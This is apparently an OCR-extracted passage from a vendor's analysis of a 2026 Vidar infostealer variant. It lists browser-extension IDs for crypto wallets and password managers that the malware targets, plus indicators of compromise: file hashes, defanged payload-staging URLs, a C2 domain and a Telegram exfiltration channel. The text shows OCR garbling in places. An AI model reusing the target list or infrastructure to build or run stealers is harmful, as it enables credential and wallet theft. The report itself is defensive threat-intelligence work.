NW14O4Krt5w5qMnZR2hTtAFJijiGzO-ZchccWFVrtv8CKIbn0BJzwjRo8u66bo5K6jkREtR4dlWhqmSvEAJsnrSlCUM_8a-Xj94-MmKPNY034WWc8_8wdtB_FhZvPTA8k&csui=3
https://www.google.com/search?q=Core+Wallet+-+Crypto+Made+Easy&sca_esv=a963c435ce01c701&aep=1&biw=1920&bih=945&sxsrf=ANbL-n5g4F-NRcNUeLOHQLDy3S_Tjipkow%3A1776422264342&ei=eA3iaY_JFOzl1e8P8eTX8AI&ved=2ahUKEwi97-je2PSTAxVKc_UHHXihBwsQgK4QegQIARAB&uact=5&oq=%22agoakfejjabomempkjlepdflaleeobhb%22&gs_lp=Egxnd3Mtd2l6LXNlcnAiIiJhZ29ha2ZlamphYm9tZW1wa2psZXBkZmxhbGVlb2JoYiIyBRAAGO8FMgUQABjvBTIIEAAYgAQYogQyBRAAGO8FMgUQABjvBUi9CVCqBliqBnACeACQAQCYAYsBoAGTAqoBAzAuMrgBA8gBAPgBAvgBAZgCA6ACnAHCAgoQABhHGNYEGLADwgIOEAAY5AIY1gQYsAPYAQHCAhcQLhjcBhi4BhjaBhjYAhjIAxiwA9gBAZgDAIgGAZAGDroGBggBEAEYCZIHAzIuMaAHgBGyBwMwLjG4B44BwgcDMi0zyAcQgAgB&sclient=gws-wiz-serp&mstk=AUtExfAgq764gXlPFh9Os21MBQbWQXBjcoDD-bicz-GGB7zImrPKJr_eNvr6tA9E2nOMCzfXn4vr2EDbwAF71uy0Wtb4Zxi35EWAvhaLWNus0UXKF8bCxSZ6R4Y2PQR5wo5e0UNW14O4Krt5w5qMnZR2hTtAFJijiGzO-ZchccWFVrtv8CKIbn0BJzwjRo8u66bo5K6jkREtR4dlWhqmSvEAJsnrSlCUM_8a-Xj94-MmKPNY034WWc8_8wdtB_FhZvPTA8k&csui=3
https://www.google.com/search?q=Core+Wallet+-+Crypto+Made+Easy&sca_esv=a963c435ce01c701&aep=1&biw=1920&bih=945&sxsrf=ANbL-n5g4F-NRcNUeLOHQLDy3S_Tjipkow%3A1776422264342&ei=eA3iaY_JFOzl1e8P8eTX8AI&ved=2ahUKEwi97-je2PSTAxVKc_UHHXihBwsQgK4QegQIARAB&uact=5&oq=%22agoakfejjabomempkjlepdflaleeobhb%22&gs_lp=Egxnd3Mtd2l6LXNlcnAiIiJhZ29ha2ZlamphYm9tZW1wa2psZXBkZmxhbGVlb2JoYiIyBRAAGO8FMgUQABjvBTIIEAAYgAQYogQyBRAAGO8FMgUQABjvBUi9CVCqBliqBnACeACQAQCYAYsBoAGTAqoBAzAuMrgBA8gBAPgBAvgBAZgCA6ACnAHCAgoQABhHGNYEGLADwgIOEAAY5AIY1gQYsAPYAQHCAhcQLhjcBhi4BhjaBhjYAhjIAxiwA9gBAZgDAIgGAZAGDroGBggBEAEYCZIHAzIuMaAHgBGyBwMwLjG4B44BwgcDMi0zyAcQgAgB&sclient=gws-wiz-serp&mstk=AUtExfAgq764gXlPFh9Os21MBQbWQXBjcoDD-bicz-GGB7zImrPKJr_eNvr6tA9E2nOMCzfXn4vr2EDbwAF71uy0Wtb4Zxi35EWAvhaLWNus0UXKF8bCxSZ6R4Y2PQR5wo5e0UNW14O4Krt5w5qMnZR2hTtAFJijiGzO-ZchccWFVrtv8CKIbn0BJzwjRo8u66bo5K6jkREtR4dlWhqmSvEAJsnrSlCUM_8a-Xj94-MmKPNY034WWc8_8wdtB_FhZvPTA8k&csui=3
https://chromewebstore.google.com/detail/hashpack/gjagmgiddbbciopjhllkdnddhcglnemk

nngceckbapebfimniniiiahkandclblb Bitwarden cnlhokffphohmfcddnibpohmkdfafdli MultiPassword —
Password Password
Manager manager
fmhmiaejopepamicjkncpgpdjichnecm KeePass Tusk dakjaeligofcdjlcoifkiappabgladep JumpCloud
Password
Manager
oboonakemofpalcgghocfoadofidjkkk KeePassXC dbfoemgnkgieejfkaddieamagdfepnff 2FAS Auth — Two
Factor
Authentication
hbbgbephgojikajhfoomhimmollphcad Rise Wallet dbgibbbeebmbmmhmebogidfbfehejgfo Naoris Protocol
Wallet
opfgelmcmbiajamepnmiloijbpoleiama Rainbow dbgnhckhnppddckangcjbkjnlddbjkna Fin Wallet for Sei
Ethereum
Wallet
fiikommddbeccaoicoejoniammnalkfa Nightly Wallet  didegimhafipceonhjepacocaffmoppf Passbolt — Open
source password
manager
bgjogpoidejdemgoochpnkmdjpocgkha Ecto Wallet dIcobpjiigpikoobohmabehhmhfoodbb Ready Wallet
jgaaimajipbpdogpdglhaphldakikgef Google didjpboieedgcmpkchcjcbijingjcgok Fuel Wallet
Chrome
browser
fefeflifndlomdhbehjjcoimbgofdncg Leap Wallet dmjmllblpcbmniokccdoaiahcdajdjof Pockie Wallet
dngmlblcodfobpdpecaadgfbcggfjfnm MultiversX eajafomhmkipbjmfmhebemolkcicgfmd Taho Web3 wallet
Wallet

kppfdiipphfccemcignhifpjkapfbihd

Frontier Wallet

ebfidpplhabeedpnhjnobghokpiioolj

Fewcha Move
Wallet

Igmpcpglpngdoalbgeoldeajfcinhafa SafePal efbglgofoippbgcjepnhiblaibcnclgk Martian Aptos &
Extension Sui Wallet
Wallet
onhogfjeacnfoofkfgppdibmimnpigbn SubWallet — eiaeiblijfiekdanodkjadfinkhbfgcd NordPass
Polkadot Password
Wallet Manager & Digital
Vault
mmmjbcfofconkannjonfmjjajpliddbg Fluvi Wallet einhphiffifjogeofkpclobkcgennocm UMI Wallet
loinekcabhlmhjjbocijdoimmejangoa Glass Wallet| einnioafmpimabjcddiinlhmijaionap Wander
Sui Wallet
heefohaffomkkkphnlpohgingmbcclhi Google TeX ejbidfepgijlcgahbmbckmnaljagjoll Salmon Wallet
idnnbdplmphpflfnikomgpfbpcgelopg Xverse Wallet  ejjladinnckdgjemekebdpeokbikhfci Petra Aptos
Wallet
anokgmphncpekkhclmingpimjmcooifb Compass eljmjmgjkbmpmfljimkicfineebidmlo Psono- Free
Wallet for Sei Password
Manager
cnncmdhjacpkmjmkcafchppbnpnhdmon  HAVAH Wallet  ellkdbaphhldpeajbepobaecooaoafpg ASI Alliance

Wallet
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https://www.google.com/search?q=HAVAH+Wallet&sca_esv=e57a1abbbed76129&aep=1&biw=1920&bih=945&sxsrf=ANbL-n7NW6ffAbnPyp--R0Cbxs5-xdeZAQ%3A1776417530160&ei=-vrhaaTACaDK1sQPgc-fmQM&ved=2ahUKEwikyqmYx_STAxVejZUCHanjFeoQgK4QegQIARAB&uact=5&oq=%22cnncmdhjacpkmjmkcafchppbnpnhdmon%22&gs_lp=Egxnd3Mtd2l6LXNlcnAiIiJjbm5jbWRoamFjcGttam1rY2FmY2hwcGJucG5oZG1vbiIyDRAuGA0YgwEYsQMYgAQyDRAAGIAEGA0YsQMYgwEyBxAAGIAEGA0yDxAAGIAEGA0YsQMYgwEYCjIKEAAYgAQYDRixAzIKEAAYgAQYDRixAzINEAAYgAQYDRixAxiDATIKEC4YgAQYDRixAzIHEAAYgAQYDTIKEAAYgAQYDRixAzIcEC4YDRiDARixAxiABBiXBRjcBBjeBBjgBNgBAUjbC1CKCFiKCHACeACQAQCYAaMBoAGjAaoBAzAuMbgBA8gBAPgBAvgBAZgCAaACrAGYAwCIBgG6BgYIARABGBSSBwMwLjGgB7QKsgcDMC4xuAesAcIHAzItMcgHB4AIAQ&sclient=gws-wiz-serp&mstk=AUtExfBj_xcc1LNRPgl4UsnixkrYUVaxfddHt_A43_sH606OiVqCSGidyVF6kG2wCSEt1Qa1iR6sL1KQXgtdgwVUwCa97psTxnwD2cV3oOdokmgbvnGgr2Clcp55n-p5MmyxzRRlCcC9G06d4ilfIiY-shaDowzWOVpOvUu3zRPcFZHVjHkkK2ohDWtG7vOlw5XLzsNkO42j_QnkEv3p27Hce9Xvdcf7S9N9r5vx55U0DUnquBnlBNs9Xp4-nDQEE-6KuQA&csui=3

ocjdpmoallmgmjbbogfiiaofphbjgchh

Elli | Sui
Wallet

eokbbaidfgdndnljmffldfgjkipjkdoi

Fluent Crypto
Wallet

ojggmchlghnjlapmfbnjholfjkiidbch

Venom wallets

fcckkdbjnoikooededlapcalpionmalo

Mobox wallet

ciojocpkclfflombbcfigcijjcbkmhaf Magic Eden fdchdcpieegfofnofhgdombfckhbcok| Puzzle Wallet
Wallet
mkpegjkblkkefacfnmkajcjmabijhclg Magic Eden fdfemjpbhpcjeadhbblfifdldedefnhe Password Boss
Wallet password
manager
aflkmfhebedbjioipglgcbcmnbpgliof Backpack fdcnegogpncmfejlifnffnofpngdiejii Razor Wallet
omaabbefbmiijedngplfjmnooppbclkk Tonkeeper fdjamakpfbbddfjaooikfcpapjohcfmg Dashlane —
Password
Manager
penjlddjkjgpnkliboccdgccekpkebin OpenMask fdojfgffiecmmppcjnahfgiigninehap Bitlight Wallet
TON Wallet
apenkfbbpmhihehmihndmmcdanacolnh ~ SafePal Wallet fooolghllnmhmmndgjiamiiodkpenpbb NordPass
Password
Manager
jiidiaalihmmhddjgbnbgdfflelocpak Bitget Wallet fopmedgnkfpebgllppeddmmochcookhc  Suku Wallet
nphplpgoakhhjchkkhmiggakijnkhfnd TON Wallet fpkhgmpbidmiogeglindfbkegfdinajnf Cosmostation
Wallet
fldfpgipfncgndfolcbkdeeknbbbnhcc MyTonWallet gafhhkghbfjjkeiendhlofajokpaflmk Lace
nnpmfplkfogfpmecngplhnbdnnilmcdcg Uniswap gcmahhkjkpigepfpmdjnbiakmbdegfeh Bitdefender
SecurePass
gdokollfhmnbfckbobkdbakhilldkhcj Alephium gejiddohjgogedgjnonbofjiglipkmbf 1Password
Wallet Nightly
fijngjgcjhjmmpcmkeiomiglpeiijkid Talisman ghimndacnhlaekppclicpcjjjomjkjpg Wizz Wallet
Wallet
cgadeiniijaimpdmhfkicphfnglpkmll XTON Wallet  ghmbeldphafepmbegfdlkpapadhbakde Proton Pass:Free
Password
Manager
pbpjkcldjiffchgbbndmhojiacbgflha OKX Wallet gjkdbeaiifkpoencioahhcilildpjhgh Parti Wallet
aheklkkgnmlknpgogcnhkbenflifcfib TronLink gjlmehlldiphhljhpniddaodbjjcchai Nautilus Wallet
ajcicjlkibolbeaaagejfhnofogocgcj Argent X gjnckgkfmgmibbkoficdidcljeaaaheg UniSat Wallet
Starknet
Wallet
gkeelndblnomfmjnophbhfhcjbcnemka Bitverse gmohoglkppnemohbcgjakmgengkeaphi  2FA Authenticator
Wallet
gpnihlnnodeiiaakbikldcihojploeca NuFi Wallet hcjhpkgbmechpabifbggldplacolbkoh StarKey Wallet
hdokiejnpimakedhajhdicegeplioahd LastPass: heamnjbnflcikcggoiplibfommfbkjpj Zeal Wallet
Free
Password

Manager
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hfajfpbjlmembfdihakjmefnbhjddofb ION Wallet hfdkpbblioghdghhkdppipefbchgpohn ManageEngine
Password
Manager Pro
hgbeiipamcgbdjhfflifkgehomnmglgk Harbor - hifafgmccdpekplomijjkcfgodnhcell] Crypto.com |
Crypto Wallet Onchain
hmeobnfnfcmdkdcmlblgagmfpfboieaf XDEFI Wallet  hldlinfgjbablcfcdcjldbbfopmohnda pCloud Pass —
Password
manager
hnebcbhjpeejiclgbohcijljcnjdofek Namada hpcbfphmanablmeomioemmamedfffmpd  Growing3
Keychain
hpclkefagolihohboafpheddmmgdffim Flow Wallet ibpjepoimpcdofeoalokgpjafnjonkpc TOTP
Authenticator
ieldiilncjhfkalnemgjbffmpomcaigi Portal DEX ifclboecfhkjbpmhgehodcjpciihhmif Klever Wallet
browser
ifckdpamphokdglkkdomedpdegcijhjdp ONTO Wallet ilhaljfiglknggcoegeknjghdgampffk Beam Web Wallet
igkpcodhieompeloncfnbekccinhapdb Zoho Vault — imlcamfeniaidioeflifonfijeeppblda NC Wallet
Password
Manager
inlkhilmjmjomfcpdifpfgllhhlpnbej Unielon jfdlamikmbghhapbgfoogdffldioobgl Hana Wallet
(DogeUni)
wallet
jhfifclepacoldmjmkmdimganfaalklb Splikity jhgnbkkipaallpehbohjmkbjofjdmeid Steem Keychain
password
manager
jiepnaheligkibgcjgjepjfppgbcghmp Doge Labs jiiigigdinhhgjflhljdkcelcjfmplnd Mango Wallet
Wallet
kamfleanhcmjelnhaeljonilnmjpkcjc Inspect — kfdniefadaanbjodldohaedphafoffoh Typhon Wallet
Crypto | NFTs
| DeFi | Web3
kfmlopbepahlcjbkfnnkiglgibbopkbk C2 Password  kglcipoddmbniebnibibkghfijeklibl Kerberus
Sentinel3
khhapgacijodhjokkcjmleaempmchlem ESET khpkpbbcccdmmclmpigdgddabeilkdpd SuietSui
Password
Manager
browser
klghhnkeealcohjjanjjdaeeggmfmipl Zerion Wallet  klnaejjgbibmhlephnhpmaofohgkpgkd ZilPay Wallet
kmcfomidfpdkfieipokbalgegidffkal Enpass kmhcihpebfmpgmihbkipmjimmioameka  Eternl Wallet
Password
Manager
Iccbohhgfkdikahanoclbdmaolidjdfl Wigwam — kmphdnilpmdejikjdnlbcnmnabepfgkh OsmWallet — Your
Web3 Wallet XRP wallet
Idinpeekobnhjjdofggfgjlcehhmanl; Leather Ifmmjkfllhmfmkcobchabopkcefjkoip LootRush Wallet

Bitcoin Wallet
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Igbjhdkjmpgjgcbcdlihkokkckpjmedgce DualSafe Igdfffagihonfnkcffpikpifhegcdkge AGNT Connect
Password
Manager &
Digital Vault
Ikpmkhpnhknhmibgnmmhdhgdilepfghe = Prax wallet Imkncnlpeipongihbffpljgehamdebgi DPal:Wallet for
DogeCoin
Ipilbniiabackdjcionkobgimddfbcjo Keeper Wallet mfhbebgoclkghebffdldpobeajmbecfk Starcoin
mfgccjchihfkkindfppnaooecgfneiii TokenPocket mjgkpalnahacmhkikiommfiomhjipgjn Reef Chain
Web3 & Wallet

Crypto Wallet

mlhdnjepakdfdaabohjgegnomigeejep IT Glue mmbhlniccooihdimnnjhamobppdhaolme  Kee — Password
browser Manager
mpeengabcnhhijjgleiodimegnkpcenbk HOT Wallet naepdomgkenhinolocfifgehidddafch Browserpass
nebnhfamliijlghikdgcigoebonmoibm Leo Wallet nhccebmfjcbhghphpclcfdkkekheegop Pelagus Wallet
nhhldecdfagpbfggphklkaeiocfnaafm SAASPASS nhihjlnjgibefgjhobhcphmnckoogdea Waves Enterprise
Wallet
njimencmbpfibibelblbbabiffimoajp Total nigbhdfgdhgbiamfdfmbikcdghidoadd Byone wallet
Password
nknhiehlklippafakaeklbeglecifhad Nabox Wallet  nopnfnlbinpfoihclomelncopjiioain Viction Wallet
ojbcfhjmpigfobfclfflafhblgemeidi Glow — Solana  ookjlbkiijinhpmnjffcofjonbfbgaoc Temple Wallet
Wallet BETA
opcgpfmipidbgpenhmajoajpbobppdil Slush wallet opnnmgopaggjpapnoknbphfpjfadbddc QSafe Wallet
papngmkmknnmfhabbckobgfpihpdgplk  BearBy pcndjhkinnkaohffealmimhaepkpmgkb Meteor Wallet
cryptocurrency
wallet
pdgbckgdncnhihllonhnjbdoighgpimk Wallet Guard pdliaogehgdbhbnmkklieghmmijkpigpa Bybit Wallet
pmbjpcmaaladnfpacpmhmnfmpkigbdjp  OP_WALLET  pocmplpaccanhmnllbbkpgfliimjljgo Phantom crypto
wallet
pnbabdldpneocemigmicebglmmfcjccm  2FA browser ppdadbejkmjnefldpcdjhnkpbjkikoip ROSE Wallet
extensions
oeljdldpnmdbchonielidgobddffflal EOS pnlccmojcmeohlpggmfnbbiapkmbliob RoboForm
Authenticator Password
Manager

Detection and Mitigation

UltraAV, powered by Point Wild, helps defend against such threats by focusing on initial-stage files received from
various sources, including abused GitHub Pages, compromised websites, ClickFix pages and package files installed

by users.
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https://ultraantivirus.com/

D:\Vidar\12e88279a1be82a6627219dcB06a%2a2d

ﬁ'a Trojan.W64.170426.VIDAR.YR

Location:
De\Vidar
12e882T9a1be8 2266272 19dcB06a%2a2db3a5aaad55a5c 1082697

T135b1ed9.exe

Fig.28 Threat detection with UltraAv

Conclusion

The analysis of this Vidar variant highlights a key reality of the 2026 threat landscape: information stealers have
evolved into stealthy, multi-stage frameworks built for scale and efficiency. While much focus is placed on initial
access, the real impact lies in post-exploitation, where data theft and exfiltration are carried out with precision.
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Top Infostealers 2026

The most active information-stealing malware families ranked by sample volume.

6

Agent Tesla

Fig.29 Malware trend of 2026 Top Infostealer (via yazoul.net)
Overall malware trends indicate that Vidar has seen a significant rise among leading infostealer threats. At Point Wild
we remain focused on researching these evolving threats and are committed to detecting them at the earliest possible
stage.

Current Trends

¥ ['.l-.=_=._'|:|'nr|-.',_; |.',’.'|

Fig.30 Current trends (via yazoul.net)
A key finding is its ability to target over 200 browser extensions, showing a clear shift beyond traditional credential
harvesting toward large scale extraction of browser-based data. This significantly increases the attack surface and
poses serious risks to both individuals and organizations.

Overall, Vidar is no longer just a credential stealer; it is a modular, adaptive platform designed for stealth, persistence,
and scalable data theft.

At PointWild, this research reflects our commitment to delivering deep technical insights helping organizations stay
ahead of evolving threats and strengthen their security posture where it matters most.

Indicators of compromise

MD5 Filename
4d79f169a1567c7ae88e11ba55aa7bal  Go compiler exe
d047d8244397ab3a7581f885c7840f45 VB file
9d87e76783d6012b1bb42798e85e376a testpowershell.dll

371de4bf1d1acdc2ba3bf1eaef0a8a99 Vidar Payload
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hxxp://62[.]60[.]226[.]200/public_files/160066][.]jpg?12711313 Payload Retrieval via HTTP (JPEG-Based Staging)

hxxp://62[.]60[.]226[.]200/public_files/KGVn4OY[.]txt Payload Retrieval via HTTP (TXT-Based Staging)
pre[.]Jsequareeus|.]Jonline C2 Domain
telegram[.]Jme/nwwfh8 Telegram page used for data exfiltration

During our analysis, we identified the following MD5 hashes associated with this campaign:

1ae75df0464bbcc6e478c79165a58625

fbb635df89fcbaff0248724410f2a%ed

34813b1dfef4cadc47baa27890b15f95

723ab9ada25d00d400f40bbac43d765b

4d79f169a1567c7ae88e11ba55aa7ba1
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